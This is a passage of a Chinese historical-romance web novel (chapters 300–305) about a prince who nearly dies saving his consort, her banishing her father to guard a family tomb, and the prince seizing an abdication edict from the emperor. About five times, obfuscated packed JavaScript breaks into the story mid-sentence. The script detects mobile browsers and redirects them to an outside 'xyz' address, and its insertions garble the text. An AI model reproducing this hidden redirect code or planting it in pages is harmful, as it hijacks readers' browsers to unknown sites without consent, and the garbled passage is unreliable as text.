见他目眦欲裂的瞪着自己,先是一愣,随即又冷笑起来,“王爷醒了正好,你好好看看秦时月是什么货色,为了攀附你,连……” 第300章 以命换命 不等长乐侯的话说完,宋墨辰突然强撑着身体从浴桶中站起来。 他用尽全身力气朝着长乐侯的膝盖狠狠踹去。 长乐侯捂着膝盖跪地,疼得龇牙咧嘴。 宋墨辰踹出那一脚后,身体再也支撑不住,晃了晃,眼前一黑,直接倒了下去。 就在这紧要关头,房间的门被人从外面撞开,侍书带着太医冲了进来。 众人看到房间内的景象,全都惊得倒吸一口凉气。 “侯爷!您竟敢对王爷动手!”侍书一眼就看到了长乐侯,又见宋墨辰情况危急,怒吼一声下令,“来人!把长乐侯拿下!” 府兵们立刻围上来,长乐侯惊恐,刚要辩解,就被两名府兵死死按住肩膀。 “你们敢!”长乐侯挣扎着怒吼,“本侯是宗室重臣,你们敢对本侯动手!是想死不成!?放开我!” 侍书冷冷地盯着他,“押下去!等王爷醒了再发落!” 府兵们立即将长乐侯拖了下去。 太医们急得满头大汗,快步上前跪在浴桶边,颤抖着手指搭在宋墨辰的腕间。 片刻后,脸色越来越凝重,最后重重地叹了口气,缓缓摇了摇头。 “怎么样?”侍书急切地追问。 太医站起身,沉重的叹了口气,“王爷本就失血过多,遭此一难,脉象已经微弱得几乎摸不到了。臣能力不足,实在是回天乏术。” “回天乏术?”侍书不敢置信的后退一步,“不可能!你再想想办法!王爷若是出事,所有人都要陪葬!” 侍书不敢想,若是王爷没了,靖垣会乱成什么样…… 直到这一刻,他才真正明白皇后娘娘的良苦用心,可惜,一切都太迟了…… “臣真的尽力了,王爷的身体本就因连日操劳有些虚弱,这次为了救县主,持续失血一个多时辰,又突然发力,身体早已撑不住了。臣现在能做的,就是用最好的参片给他吊着一口气……” “臣等能力有限,能做的,也只是尽量延长王爷的时间。”其他太爷纷纷跪了一地,内心悲恸又恐慌。 “那,王妃呢?”侍书面色发白,有些无力的抬手指向秦时月,“王妃的毒怎么样了?” 王爷固执的要以命相搏换取王妃的生机,若是不成……王爷怕是死都不能瞑目。 太医转头看向秦时月,语气稍稍缓和了些,“县主的情况还好,如今毒已经解了,只是她身体还很虚弱,随时都有可能醒过来。” 听到这话,侍书苦笑一声。 这算什么?不幸中的万幸? 不过,至少王妃度过一劫,也算是没辜负王爷的一片苦心。 他摇晃一下,不知该如何向皇后回禀,最终,只能恭敬的朝着宋墨辰深鞠一躬,然后命人将二人抬了出来。 下人们立刻小心翼翼地将两人从药汤中抱出来,然后安置在了一张榻上,方便太医们照顾。 侍书不知道宋墨辰还能撑多久,也不知道秦时月醒来后,该如何告诉她这个噩耗,他只能在心里默默祈祷,希望奇迹能够发生,希望,他的王,能够醒过来。 “书侍卫,王爷的情况很危急,恐怕撑不了多久了,您还是早做决断,尽快通知皇后娘娘,也好让娘娘来见王爷最后一面。”太医垂着头提醒。 侍书眼神暗了暗,深吸口气应下,“我知道。” 侍书离开后不久,秦时月缓缓睁开了眼,她眼皮沉重,吸气时伤口处传来一阵闷痛。 她蹙着眉倒抽一口气冷气,像是想到什么,正要抬头查看自己的伤势,吃力抬头,这才发现自己身旁还躺着一个人。 是宋墨辰? “王爷。”秦时月眉眼温柔,轻轻喊了一句。 想来是照顾她的伤势太累…… 可身边的人脸色惨白,呼吸微弱,与往日的他并不一样。 她意识到不对,皱皱眉,强忍着牵扯的钝痛抬手,给宋墨辰诊脉。 气血亏空到了极致!? 秦时月心中一惊,不知他的脉象为何是这样。 她只知道,若不及时护住心脉,恐怕宋墨辰撑不了多久! 她的目光环视一圈才反应过来,这里是宋墨辰的寝殿,不过,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228001|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些都不重要,床头的位置有个硕大的药箱。 她强撑着身子,扶着床沿缓缓起身,踉跄着从里边翻出了银针。 这药箱是太医留在这的,方便他及时为两人施针。 秦时月不知,她只知道,时间不等人。 她迅速给宋墨辰施针,随着银针沿经络尽数刺入,宋墨辰的呼吸逐渐平稳了些。 她并没有因此松口气,因为她知道,这只是权宜之计,若没有强效补药,宋墨辰的气血很快会再次溃散。 忽然,秦时月想起自己先前炼制的丹药,那颗她用月露,搭配天山雪莲、千年人参等珍稀草药,耗时一个月炼成的还魂丹,眼前一亮。 传闻月露有起死回生之效,在炼制成后,她曾用药渣投喂过一只濒死的老鼠,须臾片刻,那老鼠便活了过来。 所以那颗药,本是她为了应对生死保存下来的,如今,正好能救宋墨辰! “影夜!”秦时月声音虚弱,但透着一股喜色。 “王妃。”影夜应声出现,看到屋内的这一幕,眼神暗了暗。 他身为暗卫,所有的事都看在眼里,但却无法阻止王爷汹涌的爱意。 秦时月呼吸急促,声音急切,“立刻去揽月园,在我房间的梳妆台中有个暗格,里面放着一个紫檀木盒,你立刻拿来,越快越好!” “是!”影夜还是头一次看到她这般急切的模样,深知她定有深意,不敢耽搁,一个闪身便消失了。 影夜离开后,秦时月扶着床边缓缓坐下,目光重新落回宋墨辰身上。 房间内烛火跳跃,明明暗暗,她的心情也如跳跃的烛火般不得安省,可她知道,只要丹药能及时送来,宋墨辰,就有救。 她抬起手轻轻触宋墨辰的额头,忍不住皱皱眉:好烫。 这热度比寻常高热更甚,这让她的心里隐隐有些不安。 怎么会这么烫? 恰逢此时,侍书端着药碗推门进来,见秦时月坐在床边,眼前一亮又一暗,连忙说道:“王妃,您刚脱险,身子还弱,快躺下歇着,王爷这边有我们照看。” 第301章 进宫算账! 闻言,秦时月摇了摇头,目光落在宋墨辰脸上。 她虽然不知道发生了什么,但看到彼此手腕上厚厚的绷带,和他此时毫无生气的面庞,她也猜到了七七八八。 “我来。”她眉眼温柔,接过侍书手中的药碗后闻了一下。 这药是补血固本的汤药,里边加了不少好东西,虽不能救宋墨辰性命,却能勉强护住他的元气。 秦时月小心的用汤匙舀起一勺药汁,吹凉后递到宋墨辰唇边,可他牙关紧闭,药汁根本喂不进去。 见此情景,侍书看着心急。 “要不,属下来吧。” 可秦时月没有说话,只是重新舀了一勺药汁送进了嘴里,下一秒,她凑了上去,以唇相渡。 侍书怔愣一下,连忙转身,假装没看到这一幕,只是眼角的泪,却出卖了他。 药汁被渡进去不多,但聊胜于无。 没多久,影夜突然冲了进来,将锦盒恭敬递上。 侍书还没反应过来,秦时月已经将丹药取出,小心翼翼的送进了宋墨辰的嘴里。 药丸入口即化,倒是不用担心会卡住他的气道。 “王妃,这……” “是起死回生的丹药,但能不能撑过去,就看你家王爷的造化了。”秦时月没心思解释,一门心思的都在观察宋墨辰的反应。 只要他能撑过今晚,就算无碍了,若是能撑不过……那她唯一能做的,就是替他实现统一九州的愿望! 接下来的时辰,秦时月几乎寸步不离地守在床边。 宋墨辰身上的热度时高时低,她便用温水浸湿帕子,一遍遍敷在他的额头,直到他的体温逐渐降下来。 天边泛起鱼肚白,他的情况稳定了不少,秦时月不由自主的拖着他的手贴在了自己的脸颊上,安静的看着他。 侍书端来些清粥、参汤,劝她多少吃点,她喝了几口参汤,便再也吃不下了。 宋墨辰还未醒,她实在没有胃口。 天快亮时,秦时月终于撑不住,靠在床沿慢慢睡了过去。 不知过了多久,宋墨辰慢慢睁开了眼,他心里念着秦时月,一睁开眼就搜寻她的身影,很快发现了躺在自己身边的她。 他眉眼柔和,抬起手为她整理了一下额前的碎发。 此刻的秦时月唇角泛白,还有些虚弱,宋墨辰不禁蹙起眉头。 就在这时,侍书走了进来。 见宋墨辰醒过来,立刻激动的说道:“王爷,您可算醒了!您不知道……” 不等侍书说完,宋墨辰抬手做了个禁声的手势,并起身下床,亲自将秦时月抱回床上。 “让太医过来给王妃看看。”宋墨辰的视线一直在秦时月身上,轻声吩咐。 “是。”侍书领命。 太医很快进来,在看到清醒的宋墨辰时,眼神震颤,满眼的不敢置信。 若不是侍书提醒,他指不定要发愣到什么时候。 诊脉完毕,他说秦时月只是体虚加消耗心神过多,需要好生休养,宋墨辰这才稍稍放心。 既然月月无碍,那剩下的事,他也是时候好好清算清算了! 谁伤了她,他要让他死无葬身之地! “备好车驾,我要入宫。”宋墨辰眉眼冷峻,沉声道。 闻言,侍书一愣,“王爷,您刚醒,身子虚弱,此时入宫怕是……” “无妨。”宋墨辰语气坚定,“有些事,该做个了断了。” 说完,他心疼的看了一眼床上的秦时月,毅然决然地转身,往门外走去。 宋墨辰离开后不久,秦时月睁开了眼。 巡视一圈她才不得不认清一个现实,宋墨辰,不见了。 “王爷呢?”她撑着身子坐起来,眼底透着一丝担忧。 听到声音,侍书和小荷立即走了过来。 小荷将手里的药碗放到一旁,往秦时月后背垫上了一个软枕。 “小姐您醒了,先别急着动,太医说您身子虚,得好好养着。”她将药碗递到秦时月面前,“这是刚熬好的补气血的药,您趁热喝了吧。” 秦时月没有接碗,而是加重了声音,“他去哪了?” 宋墨辰只剩一口气吊着,即便起死回生,身体也虚的厉害, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228002|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么一早人就没影了? “王爷一早就入宫了。”侍书恭敬回道:“王爷临走前特意吩咐过,让您安心在府里休养,他入宫是有要事要办,还说会尽快回来陪您。” “要事?”秦时月冷笑一声。 得知他是自己要离开的,语气里这才少了一丝担忧,“他刚从鬼门关走一遭,身子还没好利索,能有什么比自己的身子更重要的要事?这分明就是胡闹!” 不过,宋墨辰昨夜失血过多,还发着高热,今早却硬撑着入宫,真是不把自己的性命放在心上! 皇宫里步步惊心,他如今虚弱的模样,要是在宫里遇到什么麻烦,连自保都成问题。 想到这儿,秦时月挣扎着就要下床。 小荷连忙劝阻,“小姐您可不能冲动!王爷要是知道您不顾身子去找他,肯定会生气的。” “别说废话,小荷,替我梳妆,我要入宫。”说着,秦时月扶着床沿坐了起来。 见状,小荷突然扭捏着身子,神情闪烁。 “怎么了?”秦时月蹙眉问道。 小荷跟了她多年,她一眼就能看出小荷心里藏着事。 闻言,小荷纠结一下,从腰间拿出一封信,将信封递到了她面前。 “这是刚从驿站送来的信,说是契丹那边来的。” 原本秦时月遭此大难,短时间内,小荷不想让她知道这封信的存在,可现在,除了用这封信留住小姐,她似乎想不到别的办法。 “契丹的信?”秦时月愣了一下,伸手接过信封。 拆开信封,抽出里面的信纸,一眼就认出是耶律良才的笔迹。 秦时月有些疑惑。 信里的内容很简单,耶律良才说自己已经成功平定了契丹内部的叛乱,坐稳了契丹王的位置,不日会率领使团进京,以契丹新王的身份与皇帝会面。 还说此次进京,希望能有机会与她见一面。 秦时月看完信后,陷入深思。 耶律良才成为契丹王,这本身就是一件大事,如今他还要亲自进京,这背后恐怕不只是为了与皇帝会面那么简单。 第302章 两国的好算计? 耶律良才刚登基就急于进京,究竟是为了示好,还是另有所图? “小姐,信上写了什么啊?”小荷见秦时月脸色不对,连忙问道。 秦时月将信纸递给小荷,“耶律良才已经坐稳契丹王的位置了,他说要亲自来京城面见皇上。” 耶律良才此人城府极深,他刚坐稳王位就急着进京,肯定没那么简单。 两日前,秦时月还收到了王秀儿的信。 王秀儿在信里说,她到达南国后,日子过得还算安稳,只是最近听南国的百姓传言,说契丹和南国往来频繁,走的很近。 据王秀儿打探,契丹和南国似乎有通婚的打算。 耶律良才刚当上契丹王,急需巩固自己的地位,而南国最近几年一直内乱不断,也需要外部的支持。 他们要是真的联姻,就相当于结成了同盟,这对宋墨辰来说,可不是什么好事。 侍书突然凑过来,“前些日子王爷得到消息,说是契丹要和南国通婚,现在看来,契丹和南国联姻,是为了联手对付咱们。” “可能性很大。”秦时月点了点头,“耶律良才肯定是看出了什么,所以才想联合南国,趁机从中渔利。” 如今皇帝缠绵病榻,而宋墨辰身体虚弱,耶律良才若是这个节骨点过来,绝对会出乱子! 她一想到宋墨辰此刻正在宫里,心里就更着急了,“不行,我必须尽快把这件事告诉王爷,让他有所防备。” “属下去吧。”侍书立即**,“王妃,您的身体更重要。” 王妃的命是王爷用了半条命从鬼门关上带回来的,若是王妃再出什么意外,以王爷的性子,绝对不会独活。 他决不允许那种事再发生一次! 秦时月看了看一旁的药碗,又看了看自己虚弱的身子。 她知道,如今自己身体虚弱,去了也只会让宋墨辰担心。 吐口浊气,她妥协了,“好,你去,你要尽快把契丹和南国的事告诉王爷,让他在宫里多留个心眼。” “是!”侍书拱手作揖,说完,转身离开了。 秦时月满脑子都是契丹和南国的事,一旦两国联姻成功,接下来的京城,恐怕要彻底乱了。 “影夜。”秦时月危险的眯着眼,开口唤道。 声音才落,影夜便悄无声息地出现在了门口,“王妃。” 秦时月看着影夜,“影夜,你应该听说了耶律良才不日要进京的事,我要你立刻带人,即刻起盯紧所有和契丹有关的动向。” 影夜抬头,“王妃是想让属下盯着驿站?” “不止驿站。”秦时月打断他的话,“还有所有从契丹方向来的人,不论何人,只要在城内打探,务必把人给我盯牢了,他们不管做了什么,都要一一记下来,半点都不能漏。” 影夜点头应下,“是,属下明白!” “去吧,注意别让人发现。”秦时月摆了摆手,看着影夜转身离开,背影消失在门外。 与此同时,长乐侯府内。 长乐侯被关在自个儿院子里,面色凶狠,举起一个凳子就往门框砸去。 “开门!我再说最后一遍,开门!”他扶着门板喘气,愤怒道,“你们凭什么囚禁我!你们这些护卫,拿的是长乐侯府的俸禄,就得听我的!快把锁打开!” 门外两个护卫丝毫不为所动,就像是完全没有听见似的。 昨日,侍书让人把长乐侯关起来时特意吩咐过,侯爷安分就给口饭吃,敢闹就往死里拦。 长乐侯见护卫不理,气得抬脚往门板上踹。 “快放老子出去!” 这段时间他尝试过逃跑,可每次都会被抓回来,他根本无法跑出自己的院子。 就在这时,院门口忽然传来脚步声。 抬眼一看,是芳夫人提着食盒走了进来。 她今日穿了件淡黄色襦裙,头上戴着纯金簪子,贵气又儒雅。 她对先对着护卫点了点头,然后凑到门边,轻声说道:“侯爷,您这两天没好好吃东西,我让小厨房炖了您爱喝的银耳羹,快趁热吃点吧。” 长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231974|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐侯盯着她手里的食盒,眼神狠厉,“你来得正好,让他们开门!” 闻言,芳夫人的脸上没有什么表情,“我可做不了这个主。” “你去找秦时月那个**,让她去找王爷放我出去!”长乐侯怒声说道。 他以为是自己得罪了宋墨辰,才会被关起来。 听到这话,方夫人像是听到了什么笑话,掩唇轻笑起来,“侯爷不会以为是王爷把你关起来的吧?你不知道,其实,是大小姐命人把你关起来的。” 昨夜,秦时月醒来得知长乐侯做的事情后,一怒之下让侍书把人送回侯府关了起来,没有她的命令,谁也不能放长乐侯出来。 若不是秦时月身体虚,还要照顾宋墨辰,她一定亲自来惩治长乐侯。 毕竟,若不是他贸然闯入,宋墨辰根本不会危在旦夕! “什么!”长乐侯不可置信的瞪大了眼睛,“那个逆女!” “侯爷你别冲动,昨天您闯了多大的祸自己没数吗?”方夫人故意说道:“大小姐把你关起来,可能是想让你避避风头吧。” “她把亲爹锁起来叫避风头!?你去告诉她,再不开门,我就砸了这院子!” 芳夫人见他嗓门又大起来,慌忙往护卫那边瞥了眼。 见护卫不理会他们,才小声说道:“侯爷您小声点!您以为现在还是从前吗?如今这侯府里,早不是您说了算的了!” 长乐侯一愣,皱起眉头,“你什么意思?敢这么跟我说话?” “我就是劝您安分些。”芳夫人的眼底闪过一丝莫名,“账房早就换了人,阖府上下都是小姐的人,库房的钥匙也在小姐手里,您以为,自己做得了谁的主?” “你胡说!”长乐侯打断她,“这是我的侯府!那个孽女怎么敢……好啊!你早知道是不是!?你跟那个孽女一伙的,故意瞒着我!”长乐侯目眦尽裂的瞪着她。 芳夫人沉默了。 是啊,她早就知道,若不是她深知自己斗不过秦时月,现如今的她,或许会像长乐侯一样不甘。 第303章 送他去守墓 可惜,她早就看明白了处境,所以,绝不会落到长乐侯这般境地。 长乐侯指着方夫人怒骂,“你这个吃里扒外的东西!我养你这么多年,还抬了你做平妻,你竟敢帮那个孽女说话!你忘了是靠谁才有今天的了!?**!今天我必须出去,我倒要看看这侯府到底谁说了算!” 说完,他转身就往窗户那边冲。 芳夫人看着他的背影,心一下子提到了嗓子眼,连忙喊道:“来人!快拦着侯爷!他要跳窗!” 她不敢赌他逃掉后秦时月的怒火,所以,唯一的办法,就是听从秦时月的话,看紧他。 门外的护卫早注意到了里面的动静,听到喊声立刻抽出身,一前一后冲了进去。 两人动作麻利,一左一右架住长乐侯的胳膊,任凭他怎么挣扎,都无济于事。 “放开我!你们这些反贼!”长乐侯嘶吼着,“我是长乐侯!这侯府是我的!你们敢拦我!” “县主有令,您不能出这个院子。”护卫说道:“您要是再闹,我们就只能动手了!” 长乐侯被护卫按在地上,不死心的瞪着站在一旁的芳夫人。 “你这个**!是不是你和秦时月那个**联手下套的!?我要是能出去,第一个收拾你!” 芳夫人被他看得浑身发毛,连忙往后退了两步,咬牙说道:“快把侯爷带回去!别让他再闹了!要是县主知道了,咱们都没好果子吃!” 护卫应了一声,架着长乐侯往床上拖。 “放开我,我要杀了你们!”长乐侯嘶吼着。 长乐侯闹得越来越厉害,芳姨娘夫人,若是任由他这样闹下去,只怕会拦不住。 再怎么说他都是大小姐的父亲,护卫们不敢对其下死手,看来,只有让大小姐亲自过来处理了。 “你快去找大小姐!就说侯爷闹得厉害,再这么下去要出人命了,请小姐赶紧回府。”芳夫人吩咐一旁的小丫鬟。 小丫鬟连忙点头,“是夫人,我这就去!” 芳夫人看着小丫鬟的背影,心里有些没底。 眼珠子一转,她走到房门口对着里面喊了一声,语带警告,“侯爷,您别闹了!我已经让人去请大小姐了,她很快就回来。” …… 另一边,秦时月刚喝完药,就见一个小丫鬟气喘吁吁地冲进来。 “大小姐!不好了!侯爷在府里闹得厉害,把房里的东西全砸了,护卫大哥们拦不住,夫人担心出事,让我来请您回去一趟!” 闻言,秦时月烦躁的蹙起眉毛,“他又想搞什么幺蛾子!” “小姐,您身子还没好,要不我先回府看看?您在这儿安心养着,有消息我立刻来报。”小荷劝说道。 “不行。”秦时月摇了摇头,“只有我亲自回去才能镇住他,你去把柜子里固本培元的药丸拿来。” 小荷不敢耽搁,连忙转身去拿药丸。 那药丸虽不能治疗,却能让她撑着处理眼下的事。 很快,小荷把药丸拿来,她接过药丸仰头吞下。 没一会儿,头晕的症状缓解了不少,脸色也比刚才好看了些。 她扶着小荷的手慢慢站起来,整理了一下衣襟,道:“备车,回府。” “小姐,真不再歇会儿?” “不用了,他闹得越久,麻烦越多。早点回去,早点把事情解决了,也能安心些。” 小荷知道劝不动她,只好快步跟上。 约莫一盏茶的功夫,两人便回到了长乐侯府,一进大门,她便让人将长乐侯带到花厅。 花厅里,秦时月端坐在主位上,固本培元丸是她亲自炼制的,效力持久,此时她的脸色虽不算红润,却比先前多了几分沉稳。 长乐侯被护卫押着进来,头发散乱,狼狈不堪。 “放开我!”长乐侯对着她破口大骂,“你这个孽女!敢这么对我,我是你爹!你眼里还有没有尊卑!还有没有孝道!早知如今,当初你出生时我就该把你溺死在水里,省得现在来气我!” 秦时月端着茶杯,静静听着,既不插话,也不生气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231975|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “孽障,还不让这群狗东西放了我!” “你倒是说话啊!你到底想干什么!?” 闻言,秦时月扯扯嘴角,眼神冷漠,轻声说道:“父亲,下月初三是祖母的忌日。” 长乐侯愣了一下,没反应过来,“你提你祖母干什么!要是你祖母知道你这样对你亲爹,肯定会被你气死!” “祖母生前最疼您。”秦时月的语气依旧平淡,“她的忌日快到了,不好叫她老人家孤零零的。” 她端起茶杯喝了一口,继续,“我已经让人收拾好了祖母的墓园,从明天起,您就去墓园守着吧。” “你说什么!?”长乐侯震惊一下,下一秒怒不可遏的吼道:“你让我去守墓!?你敢!我是长乐侯!你一个丫头片子敢打发我去守墓!” 秦时月微微挑眉,“侯府的事,现在是我说了算,您要是乖乖去守墓,还能落个孝顺的名声,要是不去……长乐侯府死个侯爷,也不是什么难事。” “你,你敢**亲爹!”长乐侯吓的瞪着她。 她不理会长乐侯,直接对外喊了一声,“来人。” 话音刚落,两个拿着铁链的下人就走了进来。 “大小姐,有何吩咐?” 见状,长乐侯终于反应过来,芳娘之前说的,竟是真的! 整个侯府都被秦时月这个**控制了,他这个侯爷……早就成了空架子! “你们敢!”长乐侯往后退了两步,“我是侯爷!你们敢用铁链锁我?我要去宫里告你们!我要去告诉皇上!” “皇上现在缠绵病榻,哪有功夫管您的事?”秦时月语气平淡,“把侯爷带下去吧,连夜送去墓园,到时候派几个人贴身伺候着。记住,路上别让侯爷再闹了。” “是!”下人应了一声。 长乐侯彻底慌了。 他看着不断逼近的下人,声音震颤,“你不能这么对我!我是你爹!你怎么能让我去守墓,我不去!我不去!” “带下去。”秦时月眼皮都没掀。 第304章 拿到继位诏书 下人不再犹豫,上前架住他的胳膊,强硬的拖了出去。 长乐侯被带走后,芳夫人这才小心翼翼地走了进来。 她看着秦时月,犹豫了半天,开口道:“大小姐,侯爷去守墓,府里就没个主事的男人了,要是遇到什么需要跟外男交涉的事……总归是不方便,这可怎么办啊?” 长乐侯在时,虽说不管事,可好歹是个侯爷,能撑撑场面。 如今他去守墓,府里连个能对外的男丁都没有,难免会被人欺负。 听到这话,秦时月嘴角微勾,“夫人说笑了,府里不是没有能主事的人。” 芳夫人愣了一下,疑惑地皱皱眉,“小姐的意思是……” “不是还有明远吗。”秦时月笑道:“明远虽才束发年纪,但我听夫子说,他学东西快,为人也谦逊,在我看来,他已经是能独当一面的大人了。” “明远,还小。”芳夫人心里一喜,面上还有些迟疑。 这偌大侯府是秦时月在操控,若是明远有什么做的不好的,难免落个和长乐侯一样的下场,她这个做娘的,不得不为她的儿子多思多虑一些。 “他虽年纪小,但被养得好,如今大哥不中用,他作为世子,未来的长乐侯,也应该出来扛事了。” 芳夫人欢喜地看着秦时月,眼尾带笑,“这……妾身都听大小姐的。” 秦时月看着她喜形于色的样子,淡淡笑了笑,“从今天起,侯府的大小事务就交给他了,有什么拿不定主意的,可以让他来找我这个做长姐的。” “是,多谢大小姐!”芳夫人连忙应下。 这一刻,她才相信秦时月待她和孩子们的真心,秦时月是真的要托举他们。 既如此,那她也决不能让大小姐失望! 与此同时,宋墨辰已经赶到了宫中。 他不在乎身体传来的不适,直接往御书房跑去。 江福德见宋墨辰前来,立刻诚惶诚恐的跪了下去,“参加王爷,您,您怎么来了?” 话音刚落,他便被宋墨辰抬脚踹到了一边,“父皇在里面吗?” “在,在的,由太医照看着,一直没出过门。”江福德吃痛,强忍着才没哀嚎出声。 “传我命令,御书房四周加派侍卫,不许任何人随意进出,包括后宫嫔妃和太医,若有违抗,以谋逆论处!”宋墨辰面色冷峻,不容反抗的命令道。 “……是。”江德福颤巍巍领命,心里知道,要变天了。 如今“乱党”已诛,余下党羽交由刑部彻查,接下来宋墨辰要做的便是彻底架空他的好父皇。 宫里的人都知道,寿宴以后,已改朝换代。 如今这宫里,真正说了算的人,早已不是皇帝,而是战神,辰王。 宋墨辰走入房间中,只见皇帝坐在床沿上,脸色苍白。 见他进来,皇帝的眼中先是闪过一丝惊恐,随即又被恨意取代。 他挣扎着想起身,却被身后的太监按住。 “咳咳,逆子!你还敢来见朕!” 宋墨辰走到床前,没理会他的愤怒,目光却落在床头的暗格上。 他早就知道这暗格里放的是玉玺,之所以一直没动,无非是觉得不重要。 可经过昨日的事,他才惊觉,这东西,还是掌握在自己手里的好! “父皇。”宋墨辰眸色深沉,“昨日宫变,乱党谋逆,儿臣拼死护驾才保您周全,如今朝局动荡,您需安心静养,这江山社稷,总得有人撑着。” 说着,他漫不经心的坐到了凳子上。 皇帝被气的目眦尽裂,苍白的脸色因为愤怒,染上一层愠怒,“你休想!” 想要继位诏书,想要光明正大的坐到这个位置上,休想! 宋墨辰笑了一下,起身俯身,伸手抽出暗格,取出了里边的玉玺,“您若主动传位,还能安安稳稳做太上皇,在后宫颐养天年,若您执意不肯……那儿臣可不敢保证下次宫变时,您还能不能有幸活着。” 皇帝眼中的恨意渐渐被绝望取代。 他如今竟然敢如此不加掩饰的威胁自己,他,他真是胆大包天! 可他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240129|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,如今全宫上下都是宋墨辰人,而他最信任的大将军也被安上了谋逆的罪名,只等处决,若是他再反抗,只怕宋墨辰……真的会弑君弑父! “父皇,如今你能指望的只有我一人,至于八弟,即便他容貌恢复,即便有您的诏书,没有人支持,怕是也坐不稳这位置。”宋墨辰看着皇帝,丝毫不掩饰眼中的杀意。 言外之意,他有一百种方法可以顺理成章地继位,如今,不过是看在血脉相连的份上,给皇帝一个机会。 只看这机会,皇帝要不要了。 “我给你!”皇帝咬紧牙关,双目猩红的吼道。 随后,在宫人的伺候下,他愤怒地写下了继位诏书。 只是此刻的妥协,不代表以后,皇帝知道,此刻他须先稳住宋墨辰,只有这样,他才能活下来。 只要活着,以后便还有机会! 宋墨辰将诏书收好,转身看向守在一旁的太医,冷声道:“好生照料太上皇,若是太上皇少了一根头发,唯你是问!” 太医忙跪地,“是!” 走至门外,宋墨辰眯了眯眸,声音冷漠,“传令下去,三日后举行继位大典,昭告天下。” “是,王爷。”宫人恭敬领命。 从这一刻起,这皇宫、这天下,都要换个人来坐坐。 听到宋墨辰入宫的消息,皇后连忙赶了过来。 远远看到这一幕,她眼眶泛红的点了点头。 她与宋墨辰这一路走的太艰难了,好在,结果是好的。 看到她,宋墨辰攥紧了诏书,快步迎了上去。 “母后……” 不等宋墨辰开口,皇后便打断了他的话,“你给时月换血的事,本宫已经知道了,你长大了,许多事,已经不是母后能做主的了。” 昨日宋墨辰前脚带秦时月离开,皇后后脚便知道了。 她知道秦时月对他的重要性,虽然心疼担心,但还是没有派人追过去。 “过会儿不忙了去我宫里,我让太医给你开些方子补补。”皇后说道。 第305章 当朝献舞姬 “是,多谢母后。”见她没提他的好父皇,宋墨辰舒口气,应下。 他其实,有些担心皇后对皇帝的情谊,毕竟两人相伴多年。 现在看来,他倒是多虑了。 就在这时,侍书突然赶了过来。 他先是恭敬行了礼,随后眼神迟疑的看向宋墨辰。 皇后笑了一下,主动转过身离开了。 侍书这才凑到宋墨辰耳边禀报,“不好了王爷,耶律良才马上要进京了!” …… 京城外的客栈里,住着一队身着契丹服饰的人。 昨日,耶律良才收到密信,信中说明了宋墨辰昨日在寿宴上的所作所为,耶律良才和宋墨辰打过多年交道,一猜便知宋墨辰定会软禁皇帝,想尽办法登上那个位置。 若真让宋墨辰坐上了那个位置,那他怕是再难与他对抗。 正因如此,他才提前带队,连夜赶了过来。 他明天一早就要入宫,会会宋墨辰! 次日,耶律良才带着使团和贡品、舞姬,前往皇宫。 养心殿内早已站满了文武百官,而宋墨辰则是坐在龙椅旁的临时座位上。 昨夜他还在处理官员名单,他需要将有异心的官员全部清除,直到凌晨才歇了一个时辰,而耶律良才却偏偏在这时过来,明显别有用心。 耶律良才大步走入殿中,身后的侍卫抬着红木箱走了进来。 箱子里装着莹白的珍珠和柔亮的狐裘,更引人注目的是紧随其后的舞姬。 